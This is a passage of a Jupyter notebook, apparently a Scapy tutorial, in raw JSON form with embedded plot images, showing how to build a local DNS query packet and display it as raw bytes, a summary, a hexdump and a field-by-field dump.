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\\n3vwBiKfkY/e6SeUAAAAASUVORK5CYII=\\n\",\n      \"text/plain\": [\n       \"<matplotlib.figure.Figure at 0x7f2c23bfbc50>\"\n      ]\n     },\n     \"metadata\": {},\n     \"output_type\": \"display_data\"\n    },\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"[[<matplotlib.lines.Line2D at 0x7f2c2e113d10>],\\n\",\n       \" [<matplotlib.lines.Line2D at 0x7f2c2e113f10>]]\"\n      ]\n     },\n     \"execution_count\": 26,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"%matplotlib inline\\n\",\n    \"ans.multiplot(lambda x, y: (y[IP].src, (y.time, y[IP].id)), plot_xy=True)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"The `raw()` constructor can be used to \\\"build\\\" the packet's bytes as they would be sent on the wire.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 8,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"b'E\\\\x00\\\\x00=\\\\x00\\\\x01\\\\x00\\\\x00@\\\\x11|\\\\xad\\\\x7f\\\\x00\\\\x00\\\\x01\\\\x7f\\\\x00\\\\x00\\\\x01\\\\x005\\\\x005\\\\x00)\\\\xb6\\\\xd3\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03www\\\\x07example\\\\x03com\\\\x00\\\\x00\\\\x01\\\\x00\\\\x01'\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"pkt = IP() / UDP() / DNS(qd=DNSQR())\\n\",\n    \"print(repr(raw(pkt)))\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"Since some people cannot read this representation, Scapy can:\\n\",\n    \"  - give a summary for a packet\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 10,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"IP / UDP / DNS Qry \\\"www.example.com\\\" \\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"print(pkt.summary())\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"  - \\\"hexdump\\\" the packet's bytes\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 18,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"0000   45 00 00 3D 00 01 00 00  40 11 7C AD 7F 00 00 01   E..=....@.|.....\\n\",\n      \"0010   7F 00 00 01 00 35 00 35  00 29 B6 D3 00 00 01 00   .....5.5.)......\\n\",\n      \"0020   00 01 00 00 00 00 00 00  03 77 77 77 07 65 78 61   .........www.exa\\n\",\n      \"0030   6D 70 6C 65 03 63 6F 6D  00 00 01 00 01            mple.com.....\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"hexdump(pkt)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"  - dump the packet, layer by layer, with the values for each field\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 11,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"###[ IP ]###\\n\",\n      \"  version   = 4\\n\",\n      \"  ihl       = None\\n\",\n      \"  tos       = 0x0\\n\",\n      \"  len       = None\\n\",\n      \"  id        = 1\\n\",\n      \"  flags     = \\n\",\n      \"  frag      = 0\\n\",\n      \"  ttl       = 64\\n\",\n      \"  proto     = udp\\n\",\n      \"  chksum    = None\\n\",\n      \"  src       = 127.0.0.1\\n\",\n      \"  dst       = 127.0.0.1\\n\",\n      \"  \\\\options   \\\\\\n\",\n      \"###[ UDP ]###\\n\",\n      \"     sport     = domain\\n\",\n      \"     dport     = domain\\n\",\n      \"     len       = None\\n\",\n      \"     chksum    = None\\n\",\n      \"###[ DNS ]###\\n\",\n      \"        id        = 0\\n\",\n      \"        qr        = 0\\n\",\n      \"        opcode    = QUERY\\n\",\n      \"        aa        = 0\\n\",\n      \"        tc        = 0\\n\",\n      \"        rd        = 1\\n\",\n      \"        ra        = 0\\n\",\n      \"        z         = 0\\n\",\n      \"        ad        = 0\\n\",\n      \"        cd        = 0\\n\",\n      \"        rcode     = ok\\n\",\n      \"        qdcount   = 1\\n\",\n      \"        ancount   = 0\\n\",\n      \"        nscount   = 0\\n\",\n      \"        arcount   = 0\\n\",\n      \"        \\\\qd        \\\\\\n\",\n      \"         |###[ DNS Question Record ]###\\n\",\n      \"         |  qname     = 'www.example.com'\\n\",\n      \"         |  qtype     = A\\n\",\n      \"         |  qclass    = IN\\n\",\n      \"        an        = None\\n\",\n      \"        ns        = None\\n\",\n      \"        ar        = None\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"pkt.show()\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"  - render a pretty and handy dissection of the packet\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 15,\n   \"metadata\": {\n    \"scrolled\": true\n   },\n   \"outputs\": [\n    {\n     \"data\": {\n      \"image/png\": \"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\\n